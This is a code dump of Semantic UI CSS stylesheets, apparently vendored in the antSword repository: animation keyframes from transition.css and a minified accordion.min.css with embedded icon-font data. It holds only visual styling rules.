0; } } @keyframes verticalFlipOut { 0% { -webkit-transform: perspective(2000px) rotateX(0deg); transform: perspective(2000px) rotateX(0deg); opacity: 1; } 100% { -webkit-transform: perspective(2000px) rotateX(-90deg); transform: perspective(2000px) rotateX(-90deg); opacity: 0; } } /*-------------- Scale ---------------*/ .scale.transition.in { -webkit-animation-name: scaleIn; animation-name: scaleIn; } .scale.transition.out { -webkit-animation-name: scaleOut; animation-name: scaleOut; } @-webkit-keyframes scaleIn { 0% { opacity: 0; -webkit-transform: scale(0.8); transform: scale(0.8); } 100% { opacity: 1; -webkit-transform: scale(1); transform: scale(1); } } @keyframes scaleIn { 0% { opacity: 0; -webkit-transform: scale(0.8); transform: scale(0.8); } 100% { opacity: 1; -webkit-transform: scale(1); transform: scale(1); } } /* Out */ @-webkit-keyframes scaleOut { 0% { opacity: 1; -webkit-transform: scale(1); transform: scale(1); } 100% { opacity: 0; -webkit-transform: scale(0.9); transform: scale(0.9); } } @keyframes scaleOut { 0% { opacity: 1; -webkit-transform: scale(1); transform: scale(1); } 100% { opacity: 0; -webkit-transform: scale(0.9); transform: scale(0.9); } } /*-------------- Fly ---------------*/ /* Inward */ .transition.fly { -webkit-animation-duration: 0.6s; animation-duration: 0.6s; -webkit-transition-timing-function: cubic-bezier(0.215, 0.61, 0.355, 1); transition-timing-function: cubic-bezier(0.215, 0.61, 0.355, 1); } .transition.fly.in { -webkit-animation-name: flyIn; animation-name: flyIn; } .transition[class*="fly up"].in { -webkit-animation-name: flyInUp; animation-name: flyInUp; } .transition[class*="fly down"].in { -webkit-animation-name: flyInDown; animation-name: flyInDown; } .transition[class*="fly left"].in { -webkit-animation-name: flyInLeft; animation-name: flyInLeft; } .transition[class*="fly right"].in { -webkit-animation-name: flyInRight; animation-name: flyInRight; } /* Outward */ .transition.fly.out { -webkit-animation-name: flyOut; animation-name: flyOut; } .transition[class*="fly up"].out { -webkit-animation-name: flyOutUp; animation-name: flyOutUp; } .transition[class*="fly down"].out { -webkit-animation-name: flyOutDown; animation-name: flyOutDown; } .transition[class*="fly left"].out { -webkit-animation-name: flyOutLeft; animation-name: flyOutLeft; } .transition[class*="fly right"].out { -webkit-animation-name: flyOutRight; animation-name: flyOutRight; } /* In */ @-webkit-keyframes flyIn { 0% { opacity: 0; -webkit-transform: scale3d(0.3, 0.3, 0.3); transform: scale3d(0.3, 0.3, 0.3); } 20% { -webkit-transform: scale3d(1.1, 1.1, 1.1); transform: scale3d(1.1, 1.1, 1.1); } 40% { -webkit-transform: scale3d(0.9, 0.9, 0.9); transform: scale3d(0.9, 0.9, 0.9); } 60% { opacity: 1; -webkit-transform: scale3d(1.03, 1.03, 1.03); transform: scale3d(1.03, 1.03, 1.03); } 80% { -webkit-transform: scale3d(0.97, 0.97, 0.97); transform: scale3d(0.97, 0.97, 0.97); } 100% { opacity: 1; -webkit-transform: scale3d(1, 1, 1); transform: scale3d(1, 1, 1); } } @keyframes flyIn { 0% { opacity: 0; -webkit-transform: scale3d(0.3, 0.3, 0.3); transform: scale3d(0.3, 0.3, 0.3); } 20% { -webkit-transform: scale3d(1.1, 1.1, 1.1); transform: scale3d(1.1, 1.1, 1.1); } 40% { -webkit-transform: scale3d(0.9, 0.9, 0.9); transform: scale3d(0.9, 0.9, 0.9); } 60% { opacity: 1; -webkit-transform: scale3d(1.03, 1.03, 1.03); transform: scale3d(1.03, 1.03, 1.03); } 80% { -webkit-transform: scale3d(0.97, 0.97, 0.97); transform: scale3d(0.97, 0.97, 0.97); } 100% { opacity: 1; -webkit-transform: scale3d(1, 1, 1); transform: scale3d(1, 1, 1); } } @-webkit-keyframes flyInUp { 0% { opacity: 0; -webkit-transform: translate3d(0, 1500px, 0); transform: translate3d(0, 1500px, 0); } 60% { opacity: 1; -webkit-transform: translate3d(0, -20px, 0); transform: translate3d(0, -20px, 0); } 75% { -webkit-transform: translate3d(0, 10px, 0); transform: translate3d(0, 10px, 0); } 90% { -webkit-transform: translate3d(0, -5px, 0); transform: translate3d(0, -5px, 0); } 100% { -webkit-transform: translate3d(0, 0, 0); transform: translate3d(0, 0, 0); } } @keyframes flyInUp { 0% { opacity: 0; -webkit-transform: translate3d(0, 1500px, 0); transform: translate3d(0, 1500px, 0); } 60% { opacity: 1; -webkit-transform: translate3d(0, -20px, 0); transform: translate3d(0, -20px, 0); } 75% { -webkit-transform: translate3d(0, 10px, 0); transform: translate3d(0, 10px, 0); } 90% { -webkit-transform: translate3d(0, -5px, 0); transform: translate3d(0, -5px, 0); } 100% { -webkit-transform: translate3d(0, 0, 0); transform: translate3d(0, 0, 0); } } @-webkit-keyframes flyInDown { 0% { opacity: 0; -webkit-transform: translate3d(0, -1500px, 0); transform: translate3d(0, -1500px, 0); } 60% { opacity: 1; -webkit-transform: translate3d(0, 25px, 0); transform: translate3d(0, 25px, 0); } 75% { -webkit-transform: translate3d(0, -10px, 0); transform: translate3d(0, -10px, 0); } 90% { -webkit-transform: translate3d(0, 5px, 0); transform: translate3d(0, 5px, 0); } 100% { -webkit-transform: none; transform: none; } } @keyframes flyInDown { 0% { opacity: 0; -webkit-transform: translate3d(0, -1500px, 0); transform: translate3d(0, -1500px, 0); } 60% { opacity: 1; -webkit-transform: translate3d(0, 25px, 0); transform: translate3d(0, 25px, 0); } 75% { -webkit-transform: translate3d(0, -10px, 0); transform: translate3d(0, -10px, 0); } 90% { -webkit-transform: translate3d(0, 5px, 0); transform: translate3d(0, 5px, 0); } 100% { -webkit-transform: none; transform: none; } } @-webkit-keyframes flyInLeft { 0% { opacity: 0; -webkit-transform: translate3d(1500px, 0, 0); transform: translate3d(1500px, 0, 0); } 60% { opacity: 1; -webkit-transform: translate3d(-25px, 0, 0); transform: translate3d(-25px, 0, 0); } 75% { -webkit-transform: translate3d(10px, 0, 0); transform: translate3d(10px, 0, 0); } 90% { -webkit-transform: translate3d(-5px, 0, 0); transform: translate3d(-5px, 0, 0); } 100% { -webkit-transform: none; transform: none; } } @keyframes flyInLeft { 0% { opacity: 0; -webkit-transform: translate3d(1500px, 0, 0); transform: translate3d(1500px, 0, 0); } 60% { opacity: 1; -webkit-transform: translate3d(-25px, 0, 0); transform: translate3d(-25px, 0, 0); } 75% { -webkit-transform: translate3d(10px, 0, 0); transform: translate3d(10px, 0, 0); } 90% { -webkit-transform: translate3d(-5px, 0, 0); transform: translate3d(-5px, 0, 0); } 100% { -webkit-transform: none; transform: none; } } @-webkit-keyframes flyInRight { 0% { opacity: 0; -webkit-transform: translate3d(-1500px, 0, 0); transform: translate3d(-1500px, 0, 0); } 60% { opacity: 1; -webkit-transform: translate3d(25px, 0, 0); transform: translate3d(25px, 0, 0); } 75% { -webkit-transform: translate3d(-10px, 0, 0); transform: translate3d(-10px, 0, 0); } 90% { -webkit-transform: translate3d(5px, 0, 0); transform: translate3d(5px, 0, 0); } 100% { -webkit-transform: none; transform: none; } } @keyframes flyInRight { 0% { opacity: 0; -webkit-transform: translate3d(-1500px, 0, 0); transform: translate3d(-1500px, 0, 0); } 60% { opacity: 1; -webkit-transform: translate3d(25px, 0, 0); transform: translate3d(25px, 0, 0); } 75% { -webkit-transform: translate3d(-10px, 0, 0); transform: translate3d(-10px, 0, 0); } 90% { -webkit-transform: translate3d(5px, 0, 0); transform: translate3d(5px, 0, 0); } 100% { -webkit-transform: none; transform: none; } } /* Out */ @-webkit-keyframes flyOut { 20% { -webkit-transform: scale3d(0.9, 0.9, 0.9); transform: scale3d(0.9, 0.9, 0.9); } 50%, 55% { opacity: 1; -webkit-transform: scale3d(1.1, 1.1, 1.1); transform: scale3d(1.1, 1.1, 1.1); } 100% { opacity: 0; -webkit-transform: scale3d(0.3, 0.3, 0.3); transform: scale3d(0.3, 0.3, 0.3); } } @keyframes flyOut { 20% { -webkit-transform: scale3d(0.9, 0.9, 0.9); transform: scale3d(0.9, 0.9, 0.9); } 50%, 55% { opacity: 1; -webkit-transform: scale3d(1.1, 1.1, 1.1); transform: scale3d(1.1, 1.1, 1.1); } 100% { opacity: 0; -webkit-transform: scale3d(0.3, 0.3, 0.3); transform: scale3d(0.3, 0.3, 0.3); } } @-webkit-keyframes flyOutUp { 20% { -webkit-transform: translate3d(0, 10px, 0); transform: translate3d(0, 10px, 0); } 40%, 45% { opacity: 1; -webkit-transform: translate3d(0, -20px, 0); transform: translate3d(0, -20px, 0); } 100% { opacity: 0; -webkit-transform: translate3d(0, 2000px, 0); transform: translate3d(0, 2000px, 0); } } @keyframes flyOutUp { 20% { -webkit-transform: translate3d(0, 10px, 0); transform: translate3d(0, 10px, 0); } 40%, 45% { opacity: 1; -webkit-transform: translate3d(0, -20px, 0); transform: translate3d(0, -20px, 0); } 100% { opacity: 0; -webkit-transform: translate3d(0, 2000px, 0); transform: translate3d(0, 2000px, 0); } } @-webkit-keyframes flyOutDown { 20% { -webkit-transform: translate3d(0, -10px, 0); transform: translate3d(0, -10px, 0); } 40%, 45% { opacity: 1; -webkit-transform: translate3d(0, 20px, 0); transform: translate3d(0, 20px, 0); } 100% { opacity: 0; -webkit-transform: translate3d(0, -2000px, 0); transform: translate3d(0, -2000px, 0); } } @keyframes flyOutDown { 20% { -webkit-transform: translate3d(0, -10px, 0); transform: translate3d(0, -10px, 0); } 40%, 45% { opacity: 1; -webkit-transform: translate3d(0, 20px, 0); transform: translate3d(0, 20px, 0); } 100% { opacity: 0; -webkit-transform: translate3d(0, -2000px, 0); transform: translate3d(0, -2000px, 0); } } @-webkit-keyframes flyOutRight { 20% { opacity: 1; -webkit-transform: translate3d(20px, 0, 0); transform: translate3d(20px, 0, 0); } 100% { opacity: 0; -webkit-transform: translate3d(-2000px, 0, 0); transform: translate3d(-2000px, 0, 0); } } @keyframes flyOutRight { 20% { opacity: 1; -webkit-transform: translate3d(20px, 0, 0); transform: translate3d(20px, 0, 0); } 100% { opacity: 0; -webkit-transform: translate3d(-2000px, 0, 0); transform: translate3d(-2000px, 0, 0); } } @-webkit-keyframes flyOutLeft { 20% { opacity: 1; -webkit-transform: translate3d(-20px, 0, 0); transform: translate3d(-20px, 0, 0); } 100% { opacity: 0; -webkit-transform: translate3d(2000px, 0, 0); transform: translate3d(2000px, 0, 0); } } @keyframes flyOutLeft { 20% { opacity: 1; -webkit-transform: translate3d(-20px, 0, 0); transform: translate3d(-20px, 0, 0); } 100% { opacity: 0; -webkit-transform: translate3d(2000px, 0, 0); transform: translate3d(2000px, 0, 0); } } /*-------------- Slide ---------------*/ .transition.slide.in, .transition[class*="slide down"].in { -webkit-animation-name: slideInY; animation-name: slideInY; -webkit-transform-origin: top center; transform-origin: top center; } .transition[class*="slide up"].in { -webkit-animation-name: slideInY; animation-name: slideInY; -webkit-transform-origin: bottom center; transform-origin: bottom center; } .transition[class*="slide left"].in { -webkit-animation-name: slideInX; animation-name: slideInX; -webkit-transform-origin: center right; transform-origin: center right; } .transition[class*="slide right"].in { -webkit-animation-name: slideInX; animation-name: slideInX; -webkit-transform-origin: center left; transform-origin: center left; } .transition.slide.out, .transition[class*="slide down"].out { -webkit-animation-name: slideOutY; animation-name: slideOutY; -webkit-transform-origin: top center; transform-origin: top center; } .transition[class*="slide up"].out { -webkit-animation-name: slideOutY; animation-name: slideOutY; -webkit-transform-origin: bottom center; transform-origin: bottom center; } .transition[class*="slide left"].out { -webkit-animation-name: slideOutX; animation-name: slideOutX; -webkit-transform-origin: center right; transform-origin: center right; } .transition[class*="slide right"].out { -webkit-animation-name: slideOutX; animation-name: slideOutX; -webkit-transform-origin: center left; transform-origin: center left; } /* In */ @-webkit-keyframes slideInY { 0% { opacity: 0; -webkit-transform: scaleY(0); transform: scaleY(0); } 100% { opacity: 1; -webkit-transform: scaleY(1); transform: scaleY(1); } } @keyframes slideInY { 0% { opacity: 0; -webkit-transform: scaleY(0); transform: scaleY(0); } 100% { opacity: 1; -webkit-transform: scaleY(1); transform: scaleY(1); } } @-webkit-keyframes slideInX { 0% { opacity: 0; -webkit-transform: scaleX(0); transform: scaleX(0); } 100% { opacity: 1; -webkit-transform: scaleX(1); transform: scaleX(1); } } @keyframes slideInX { 0% { opacity: 0; -webkit-transform: scaleX(0); transform: scaleX(0); } 100% { opacity: 1; -webkit-transform: scaleX(1); transform: scaleX(1); } } /* Out */ @-webkit-keyframes slideOutY { 0% { opacity: 1; -webkit-transform: scaleY(1); transform: scaleY(1); } 100% { opacity: 0; -webkit-transform: scaleY(0); transform: scaleY(0); } } @keyframes slideOutY { 0% { opacity: 1; -webkit-transform: scaleY(1); transform: scaleY(1); } 100% { opacity: 0; -webkit-transform: scaleY(0); transform: scaleY(0); } } @-webkit-keyframes slideOutX { 0% { opacity: 1; -webkit-transform: scaleX(1); transform: scaleX(1); } 100% { opacity: 0; -webkit-transform: scaleX(0); transform: scaleX(0); } } @keyframes slideOutX { 0% { opacity: 1; -webkit-transform: scaleX(1); transform: scaleX(1); } 100% { opacity: 0; -webkit-transform: scaleX(0); transform: scaleX(0); } } /*-------------- Swing ---------------*/ .transition.swing { -webkit-animation-duration: 800ms; animation-duration: 800ms; } .transition[class*="swing down"].in { -webkit-animation-name: swingInX; animation-name: swingInX; -webkit-transform-origin: top center; transform-origin: top center; } .transition[class*="swing up"].in { -webkit-animation-name: swingInX; animation-name: swingInX; -webkit-transform-origin: bottom center; transform-origin: bottom center; } .transition[class*="swing left"].in { -webkit-animation-name: swingInY; animation-name: swingInY; -webkit-transform-origin: center right; transform-origin: center right; } .transition[class*="swing right"].in { -webkit-animation-name: swingInY; animation-name: swingInY; -webkit-transform-origin: center left; transform-origin: center left; } .transition.swing.out, .transition[class*="swing down"].out { -webkit-animation-name: swingOutX; animation-name: swingOutX; -webkit-transform-origin: top center; transform-origin: top center; } .transition[class*="swing up"].out { -webkit-animation-name: swingOutX; animation-name: swingOutX; -webkit-transform-origin: bottom center; transform-origin: bottom center; } .transition[class*="swing left"].out { -webkit-animation-name: swingOutY; animation-name: swingOutY; -webkit-transform-origin: center right; transform-origin: center right; } .transition[class*="swing right"].out { -webkit-animation-name: swingOutY; animation-name: swingOutY; -webkit-transform-origin: center left; transform-origin: center left; } /* In */ @-webkit-keyframes swingInX { 0% { -webkit-transform: perspective(1000px) rotateX(90deg); transform: perspective(1000px) rotateX(90deg); opacity: 0; } 40% { -webkit-transform: perspective(1000px) rotateX(-30deg); transform: perspective(1000px) rotateX(-30deg); opacity: 1; } 60% { -webkit-transform: perspective(1000px) rotateX(15deg); transform: perspective(1000px) rotateX(15deg); } 80% { -webkit-transform: perspective(1000px) rotateX(-7.5deg); transform: perspective(1000px) rotateX(-7.5deg); } 100% { -webkit-transform: perspective(1000px) rotateX(0deg); transform: perspective(1000px) rotateX(0deg); } } @keyframes swingInX { 0% { -webkit-transform: perspective(1000px) rotateX(90deg); transform: perspective(1000px) rotateX(90deg); opacity: 0; } 40% { -webkit-transform: perspective(1000px) rotateX(-30deg); transform: perspective(1000px) rotateX(-30deg); opacity: 1; } 60% { -webkit-transform: perspective(1000px) rotateX(15deg); transform: perspective(1000px) rotateX(15deg); } 80% { -webkit-transform: perspective(1000px) rotateX(-7.5deg); transform: perspective(1000px) rotateX(-7.5deg); } 100% { -webkit-transform: perspective(1000px) rotateX(0deg); transform: perspective(1000px) rotateX(0deg); } } @-webkit-keyframes swingInY { 0% { -webkit-transform: perspective(1000px) rotateY(-90deg); transform: perspective(1000px) rotateY(-90deg); opacity: 0; } 40% { -webkit-transform: perspective(1000px) rotateY(30deg); transform: perspective(1000px) rotateY(30deg); opacity: 1; } 60% { -webkit-transform: perspective(1000px) rotateY(-17.5deg); transform: perspective(1000px) rotateY(-17.5deg); } 80% { -webkit-transform: perspective(1000px) rotateY(7.5deg); transform: perspective(1000px) rotateY(7.5deg); } 100% { -webkit-transform: perspective(1000px) rotateY(0deg); transform: perspective(1000px) rotateY(0deg); } } @keyframes swingInY { 0% { -webkit-transform: perspective(1000px) rotateY(-90deg); transform: perspective(1000px) rotateY(-90deg); opacity: 0; } 40% { -webkit-transform: perspective(1000px) rotateY(30deg); transform: perspective(1000px) rotateY(30deg); opacity: 1; } 60% { -webkit-transform: perspective(1000px) rotateY(-17.5deg); transform: perspective(1000px) rotateY(-17.5deg); } 80% { -webkit-transform: perspective(1000px) rotateY(7.5deg); transform: perspective(1000px) rotateY(7.5deg); } 100% { -webkit-transform: perspective(1000px) rotateY(0deg); transform: perspective(1000px) rotateY(0deg); } } /* Out */ @-webkit-keyframes swingOutX { 0% { -webkit-transform: perspective(1000px) rotateX(0deg); transform: perspective(1000px) rotateX(0deg); } 40% { -webkit-transform: perspective(1000px) rotateX(-7.5deg); transform: perspective(1000px) rotateX(-7.5deg); } 60% { -webkit-transform: perspective(1000px) rotateX(17.5deg); transform: perspective(1000px) rotateX(17.5deg); } 80% { -webkit-transform: perspective(1000px) rotateX(-30deg); transform: perspective(1000px) rotateX(-30deg); opacity: 1; } 100% { -webkit-transform: perspective(1000px) rotateX(90deg); transform: perspective(1000px) rotateX(90deg); opacity: 0; } } @keyframes swingOutX { 0% { -webkit-transform: perspective(1000px) rotateX(0deg); transform: perspective(1000px) rotateX(0deg); } 40% { -webkit-transform: perspective(1000px) rotateX(-7.5deg); transform: perspective(1000px) rotateX(-7.5deg); } 60% { -webkit-transform: perspective(1000px) rotateX(17.5deg); transform: perspective(1000px) rotateX(17.5deg); } 80% { -webkit-transform: perspective(1000px) rotateX(-30deg); transform: perspective(1000px) rotateX(-30deg); opacity: 1; } 100% { -webkit-transform: perspective(1000px) rotateX(90deg); transform: perspective(1000px) rotateX(90deg); opacity: 0; } } @-webkit-keyframes swingOutY { 0% { -webkit-transform: perspective(1000px) rotateY(0deg); transform: perspective(1000px) rotateY(0deg); } 40% { -webkit-transform: perspective(1000px) rotateY(7.5deg); transform: perspective(1000px) rotateY(7.5deg); } 60% { -webkit-transform: perspective(1000px) rotateY(-10deg); transform: perspective(1000px) rotateY(-10deg); } 80% { -webkit-transform: perspective(1000px) rotateY(30deg); transform: perspective(1000px) rotateY(30deg); opacity: 1; } 100% { -webkit-transform: perspective(1000px) rotateY(-90deg); transform: perspective(1000px) rotateY(-90deg); opacity: 0; } } @keyframes swingOutY { 0% { -webkit-transform: perspective(1000px) rotateY(0deg); transform: perspective(1000px) rotateY(0deg); } 40% { -webkit-transform: perspective(1000px) rotateY(7.5deg); transform: perspective(1000px) rotateY(7.5deg); } 60% { -webkit-transform: perspective(1000px) rotateY(-10deg); transform: perspective(1000px) rotateY(-10deg); } 80% { -webkit-transform: perspective(1000px) rotateY(30deg); transform: perspective(1000px) rotateY(30deg); opacity: 1; } 100% { -webkit-transform: perspective(1000px) rotateY(-90deg); transform: perspective(1000px) rotateY(-90deg); opacity: 0; } } /******************************* Static Animations *******************************/ /*-------------- Emphasis ---------------*/ .flash.transition { -webkit-animation-duration: 750ms; animation-duration: 750ms; -webkit-animation-name: flash; animation-name: flash; } .shake.transition { -webkit-animation-duration: 750ms; animation-duration: 750ms; -webkit-animation-name: shake; animation-name: shake; } .bounce.transition { -webkit-animation-duration: 750ms; animation-duration: 750ms; -webkit-animation-name: bounce; animation-name: bounce; } .tada.transition { -webkit-animation-duration: 750ms; animation-duration: 750ms; -webkit-animation-name: tada; animation-name: tada; } .pulse.transition { -webkit-animation-duration: 500ms; animation-duration: 500ms; -webkit-animation-name: pulse; animation-name: pulse; } .jiggle.transition { -webkit-animation-duration: 750ms; animation-duration: 750ms; -webkit-animation-name: jiggle; animation-name: jiggle; } /* Flash */ @-webkit-keyframes flash { 0%, 50%, 100% { opacity: 1; } 25%, 75% { opacity: 0; } } @keyframes flash { 0%, 50%, 100% { opacity: 1; } 25%, 75% { opacity: 0; } } /* Shake */ @-webkit-keyframes shake { 0%, 100% { -webkit-transform: translateX(0); transform: translateX(0); } 10%, 30%, 50%, 70%, 90% { -webkit-transform: translateX(-10px); transform: translateX(-10px); } 20%, 40%, 60%, 80% { -webkit-transform: translateX(10px); transform: translateX(10px); } } @keyframes shake { 0%, 100% { -webkit-transform: translateX(0); transform: translateX(0); } 10%, 30%, 50%, 70%, 90% { -webkit-transform: translateX(-10px); transform: translateX(-10px); } 20%, 40%, 60%, 80% { -webkit-transform: translateX(10px); transform: translateX(10px); } } /* Bounce */ @-webkit-keyframes bounce { 0%, 20%, 50%, 80%, 100% { -webkit-transform: translateY(0); transform: translateY(0); } 40% { -webkit-transform: translateY(-30px); transform: translateY(-30px); } 60% { -webkit-transform: translateY(-15px); transform: translateY(-15px); } } @keyframes bounce { 0%, 20%, 50%, 80%, 100% { -webkit-transform: translateY(0); transform: translateY(0); } 40% { -webkit-transform: translateY(-30px); transform: translateY(-30px); } 60% { -webkit-transform: translateY(-15px); transform: translateY(-15px); } } /* Tada */ @-webkit-keyframes tada { 0% { -webkit-transform: scale(1); transform: scale(1); } 10%, 20% { -webkit-transform: scale(0.9) rotate(-3deg); transform: scale(0.9) rotate(-3deg); } 30%, 50%, 70%, 90% { -webkit-transform: scale(1.1) rotate(3deg); transform: scale(1.1) rotate(3deg); } 40%, 60%, 80% { -webkit-transform: scale(1.1) rotate(-3deg); transform: scale(1.1) rotate(-3deg); } 100% { -webkit-transform: scale(1) rotate(0); transform: scale(1) rotate(0); } } @keyframes tada { 0% { -webkit-transform: scale(1); transform: scale(1); } 10%, 20% { -webkit-transform: scale(0.9) rotate(-3deg); transform: scale(0.9) rotate(-3deg); } 30%, 50%, 70%, 90% { -webkit-transform: scale(1.1) rotate(3deg); transform: scale(1.1) rotate(3deg); } 40%, 60%, 80% { -webkit-transform: scale(1.1) rotate(-3deg); transform: scale(1.1) rotate(-3deg); } 100% { -webkit-transform: scale(1) rotate(0); transform: scale(1) rotate(0); } } /* Pulse */ @-webkit-keyframes pulse { 0% { -webkit-transform: scale(1); transform: scale(1); opacity: 1; } 50% { -webkit-transform: scale(0.9); transform: scale(0.9); opacity: 0.7; } 100% { -webkit-transform: scale(1); transform: scale(1); opacity: 1; } } @keyframes pulse { 0% { -webkit-transform: scale(1); transform: scale(1); opacity: 1; } 50% { -webkit-transform: scale(0.9); transform: scale(0.9); opacity: 0.7; } 100% { -webkit-transform: scale(1); transform: scale(1); opacity: 1; } } /* Rubberband */ @-webkit-keyframes jiggle { 0% { -webkit-transform: scale3d(1, 1, 1); transform: scale3d(1, 1, 1); } 30% { -webkit-transform: scale3d(1.25, 0.75, 1); transform: scale3d(1.25, 0.75, 1); } 40% { -webkit-transform: scale3d(0.75, 1.25, 1); transform: scale3d(0.75, 1.25, 1); } 50% { -webkit-transform: scale3d(1.15, 0.85, 1); transform: scale3d(1.15, 0.85, 1); } 65% { -webkit-transform: scale3d(0.95, 1.05, 1); transform: scale3d(0.95, 1.05, 1); } 75% { -webkit-transform: scale3d(1.05, 0.95, 1); transform: scale3d(1.05, 0.95, 1); } 100% { -webkit-transform: scale3d(1, 1, 1); transform: scale3d(1, 1, 1); } } @keyframes jiggle { 0% { -webkit-transform: scale3d(1, 1, 1); transform: scale3d(1, 1, 1); } 30% { -webkit-transform: scale3d(1.25, 0.75, 1); transform: scale3d(1.25, 0.75, 1); } 40% { -webkit-transform: scale3d(0.75, 1.25, 1); transform: scale3d(0.75, 1.25, 1); } 50% { -webkit-transform: scale3d(1.15, 0.85, 1); transform: scale3d(1.15, 0.85, 1); } 65% { -webkit-transform: scale3d(0.95, 1.05, 1); transform: scale3d(0.95, 1.05, 1); } 75% { -webkit-transform: scale3d(1.05, 0.95, 1); transform: scale3d(1.05, 0.95, 1); } 100% { -webkit-transform: scale3d(1, 1, 1); transform: scale3d(1, 1, 1); } } /******************************* Site Overrides *******************************/ ```
/content/code_sandbox/static/libs/semanticui/components/transition.css
css
2016-03-11T09:28:00
2024-08-16T17:55:54
antSword
AntSwordProject/antSword
3,579
14,138
```css /*! * # Semantic UI 2.2.7 - Accordion * path_to_url * * * Released under the MIT license * path_to_url * */.ui.accordion,.ui.accordion .accordion{max-width:100%}.ui.accordion .accordion{margin:1em 0 0;padding:0}.ui.accordion .accordion .title,.ui.accordion .title{cursor:pointer}.ui.accordion .title:not(.ui){padding:.5em 0;font-family:Lato,'Helvetica Neue',Arial,Helvetica,sans-serif;font-size:1em;color:rgba(0,0,0,.87)}.ui.accordion .accordion .title~.content,.ui.accordion .title~.content{display:none}.ui.accordion:not(.styled) .accordion .title~.content:not(.ui),.ui.accordion:not(.styled) .title~.content:not(.ui){margin:'';padding:.5em 0 1em}.ui.accordion:not(.styled) .title~.content:not(.ui):last-child{padding-bottom:0}.ui.accordion .accordion .title .dropdown.icon,.ui.accordion .title .dropdown.icon{display:inline-block;float:none;opacity:1;width:1.25em;height:1em;margin:0 .25rem 0 0;padding:0;font-size:1em;-webkit-transition:opacity .1s ease,-webkit-transform .1s ease;transition:opacity .1s ease,-webkit-transform .1s ease;transition:transform .1s ease,opacity .1s ease;transition:transform .1s ease,opacity .1s ease,-webkit-transform .1s ease;vertical-align:baseline;-webkit-transform:none;transform:none}.ui.accordion.menu .item .title{display:block;padding:0}.ui.accordion.menu .item .title>.dropdown.icon{float:right;margin:.21425em 0 0 1em;-webkit-transform:rotate(180deg);transform:rotate(180deg)}.ui.accordion .ui.header .dropdown.icon{font-size:1em;margin:0 .25rem 0 0}.ui.accordion .accordion .active.title .dropdown.icon,.ui.accordion .active.title .dropdown.icon{-webkit-transform:rotate(90deg);transform:rotate(90deg)}.ui.accordion.menu .item .active.title>.dropdown.icon{-webkit-transform:rotate(90deg);transform:rotate(90deg)}.ui.styled.accordion{width:600px}.ui.styled.accordion,.ui.styled.accordion .accordion{border-radius:.28571429rem;background:#fff;box-shadow:0 1px 2px 0 rgba(34,36,38,.15),0 0 0 1px rgba(34,36,38,.15)}.ui.styled.accordion .accordion .title,.ui.styled.accordion .title{margin:0;padding:.75em 1em;color:rgba(0,0,0,.4);font-weight:700;border-top:1px solid rgba(34,36,38,.15);-webkit-transition:background .1s ease,color .1s ease;transition:background .1s ease,color .1s ease}.ui.styled.accordion .accordion .title:first-child,.ui.styled.accordion>.title:first-child{border-top:none}.ui.styled.accordion .accordion .content,.ui.styled.accordion .content{margin:0;padding:.5em 1em 1.5em}.ui.styled.accordion .accordion .content{padding:0;padding:.5em 1em 1.5em}.ui.styled.accordion .accordion .active.title,.ui.styled.accordion .accordion .title:hover,.ui.styled.accordion .active.title,.ui.styled.accordion .title:hover{background:0 0;color:rgba(0,0,0,.87)}.ui.styled.accordion .accordion .active.title,.ui.styled.accordion .accordion .title:hover{background:0 0;color:rgba(0,0,0,.87)}.ui.styled.accordion .active.title{background:0 0;color:rgba(0,0,0,.95)}.ui.styled.accordion .accordion .active.title{background:0 0;color:rgba(0,0,0,.95)}.ui.accordion .accordion .active.content,.ui.accordion .active.content{display:block}.ui.fluid.accordion,.ui.fluid.accordion .accordion{width:100%}.ui.inverted.accordion .title:not(.ui){color:rgba(255,255,255,.9)}@font-face{font-family:Accordion;src:url(data:application/x-font-ttf;charset=utf-8;base64,your_sha256_hashAAAAEAAAAWgAAAAIZ2x5Zryj6HgAAAFwAAAAyGhlYWT/your_sha256_hashyour_sha256_hashyour_sha256_hashAAAAAAAAAAABEAAAAAAAAAAAAAAAAAAAAABAAADw2gHg/+your_sha512_hash//3//wAAAAAAIPDZ//3//wAB/+MPKwADAAEAAAAAAAAAAAAAAAEAAf//your_sha256_hashyour_sha256_hashEgaABQgHBQYGBQcIBYAG2wcGfwcBAQcECf8IBAcBAQd/your_sha256_hashyour_sha256_hashAM/9o+4AAAAAz/2j7gAAAAAAtwFuAAAACAACAAAAAAAAAAEAAAHg/+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashAAAAAAAAAAAAAAAAAAAAAA) format('truetype'),url(data:application/font-woff;charset=utf-8;base64,your_sha256_hashyour_sha256_hashAAAATA984gpnYXNwAAAC0AAAAAgAAAAIAAAAEGhlYWQAAALYAAAANgAAADb/your_sha256_hashyour_sha256_hashAAAgAAMAAAEABAQAAQEBB3JhdGluZwABAgABADr4HAL4GwP4GAQeCgAZU/+Lix4KABlT/4uLDAeLa/iU+your_sha256_hashyour_sha256_hashZ33bxWLkI2Qj44I9xT3FAWOj5CNkIuQi4+JjoePiI2Gi4YIi/your_sha512_hash+xQFj4iNhouGi4aJh4eICPsU+your_sha256_hashyour_sha256_hashABAAADw2gHg/+your_sha512_hash//3//wAAAAAAIPDZyour_sha512_hash/9o+4AAAAAALcBbgAAAAgAAgAAAAAAAAABAAAB4P/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA) format('woff');font-weight:400;font-style:normal}.ui.accordion .accordion .title .dropdown.icon,.ui.accordion .title .dropdown.icon{font-family:Accordion;line-height:1;-webkit-backface-visibility:hidden;backface-visibility:hidden;font-weight:400;font-style:normal;text-align:center}.ui.accordion .accordion .title .dropdown.icon:before,.ui.accordion .title .dropdown.icon:before{content:'\f0da'} ```
/content/code_sandbox/static/libs/semanticui/components/accordion.min.css
css
2016-03-11T09:28:00
2024-08-16T17:55:54
antSword
AntSwordProject/antSword
3,579
1,585
